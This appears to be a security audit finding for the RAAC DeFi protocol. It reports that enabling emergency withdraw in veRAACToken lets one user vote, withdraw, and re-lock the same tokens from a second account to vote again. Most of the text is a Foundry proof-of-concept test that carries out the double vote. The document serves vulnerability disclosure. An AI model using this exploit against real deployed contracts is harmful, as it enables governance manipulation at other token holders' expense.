Raac protocol has governance functionality to cast votes for the proposal by the users, which can be helpful for future updates and recommendations. Users can use Lock()
in veRAACToken.sol
to lock their tokens in the protocol for a fixed amount of time which will give them veRAAC tokens in return. Note that, it also creates a lock which stores basic information like amount
uncloktime
account
. The voting power decays linearly with time. However, The problem arises when the the following function is set true by the owner
This deletes the Locks created when the user deposited the RAACToken.
This means a malicious user can VOTE and CLAIM rewards without even waiting the whole timelock duration like other users.
-> Consider the following scenario
function castVote(uint256 proposalId, bool support) external override returns (uint256) {
ProposalCore storage proposal = _proposals[proposalId];
if (proposal.startTime == 0) revert ProposalDoesNotExist(proposalId);
if (block.timestamp < proposal.startTime) {
revert VotingNotStarted(proposalId, proposal.startTime, block.timestamp);
}
if (block.timestamp > proposal.endTime) {
revert VotingEnded(proposalId, proposal.endTime, block.timestamp);
}
ProposalVote storage proposalVote = _proposalVotes[proposalId];
if (proposalVote.hasVoted[msg.sender]) {
revert AlreadyVoted(proposalId, msg.sender, block.timestamp);
}
@> uint256 weight = _veToken.getVotingPower(msg.sender);
if (weight == 0) {
revert NoVotingPower(msg.sender, block.number);
}
proposalVote.hasVoted[msg.sender] = true;
if (support) {
proposalVote.forVotes += weight;
} else {
proposalVote.againstVotes += weight;
}
emit VoteCast(msg.sender, proposalId, support, weight, "");
return weight;
}
Now rather than waiting the whole time to get his funds out and get rewards, This would would allow malicious actors to just wait "EMERGENCY_DELAY" after everytime to vote and depending on the "VOTING_PERIOD" set by the owner the attacker can VOTE multiple times for one.
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "../contracts/core/tokens/veRAACToken.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../contracts/core/governance/proposals/Governance.sol";
import "../contracts/core/governance/proposals/TimelockController.sol";
import "../contracts/interfaces/core/governance/proposals/IGovernance.sol";
contract MockRAACToken is ERC20 {
constructor() ERC20("RAAC Token", "RAAC") {
_mint(msg.sender, 10000000000e18);
}
}
contract veRAACTokenTest is Test {
veRAACToken public veToken;
MockRAACToken public raacToken;
Governance public governanceContract;
TimelockController public timelockController;
address public admin;
address public attacker;
address public attackerAccount2;
event EmergencyWithdrawEnabled(uint256 delay);
event EmergencyActionScheduled(bytes32 indexed actionId, uint256 executionTime);
event LockCreated(address indexed user, uint256 amount, uint256 unlockTime);
event EmergencyWithdrawn(address indexed user, uint256 amount);
uint256 constant EMERGENCY_DELAY = 3 days;
uint256 constant MIN_LOCK_DURATION = 365 days;
bytes32 constant EMERGENCY_WITHDRAW_ACTION = keccak256("enableEmergencyWithdraw");
uint256 public constant MAX_LOCK_DURATION = 1460 days;
function setUp() public {
admin = address(this);
attacker = makeAddr("attacker");
attackerAccount2 = makeAddr("Attackeraccount2");
raacToken = new MockRAACToken();
veToken = new veRAACToken(address(raacToken));
address[] memory proposers = new address[](1);
proposers[0] = admin;
address[] memory executors = new address[](1);
executors[0] = admin;
timelockController = new TimelockController(2 days, proposers, executors, admin);
governanceContract = new Governance(address(veToken), address(timelockController));
raacToken.transfer(attacker, 1000e18);
raacToken.transfer(admin, 200_000e18);
}
function testVoteManipulationAttack() public {
vm.startPrank(admin);
veToken.scheduleEmergencyAction(EMERGENCY_WITHDRAW_ACTION);
vm.stopPrank();
vm.warp(block.timestamp + EMERGENCY_DELAY);
vm.startPrank(admin);
veToken.enableEmergencyWithdraw();
vm.stopPrank();
address[] memory targets = new address[](1);
targets[0] = address(this);
uint256[] memory values = new uint256[](1);
values[0] = 0;
bytes[] memory calldatas = new bytes[](1);
calldatas[0] = abi.encodeWithSignature("testFunction()");
string memory description = "Test Proposal";
vm.startPrank(admin);
uint256 adminLockAmount = 200_000e18;
raacToken.approve(address(veToken), adminLockAmount);
veToken.lock(adminLockAmount, MAX_LOCK_DURATION);
uint256 proposalId = governanceContract.propose(
targets,
values,
calldatas,
description,
IGovernance.ProposalType.ParameterChange
);
vm.stopPrank();
vm.warp(governanceContract.getProposal(proposalId).startTime);
vm.startPrank(attacker);
raacToken.approve(address(veToken), 1000e18);
veToken.lock(1000e18, MAX_LOCK_DURATION);
governanceContract.castVote(proposalId, true);
vm.warp(block.timestamp + EMERGENCY_DELAY);
veToken.emergencyWithdraw();
raacToken.transfer(attackerAccount2, 1000e18);
vm.stopPrank();
vm.startPrank(attackerAccount2);
raacToken.approve(address(veToken), 1000e18);
veToken.lock(1000e18, MAX_LOCK_DURATION);
governanceContract.castVote(proposalId, true);
vm.warp(block.timestamp + EMERGENCY_DELAY);
veToken.emergencyWithdraw();
vm.stopPrank();
uint256 attackerInitialBalance = 1000e18;
uint256 attackerAccount2FinalBalance = raacToken.balanceOf(attackerAccount2);
console.log("Attacker Initial Balance:", attackerInitialBalance);
console.log("AttackerAccount2 Final Balance:", attackerAccount2FinalBalance);
assertEq(attackerInitialBalance, attackerAccount2FinalBalance, "AttackerAccount2 did not receive the correct amount of tokens");
(uint256 forVotes, uint256 againstVotes) = governanceContract.getVotes(proposalId);
console.log("For Votes:", forVotes);
console.log("Against Votes:", againstVotes);
assertTrue(forVotes > 1000e18, "Attacker can use multiple accounts to manipulate votes");
}
}
Manual Analysis.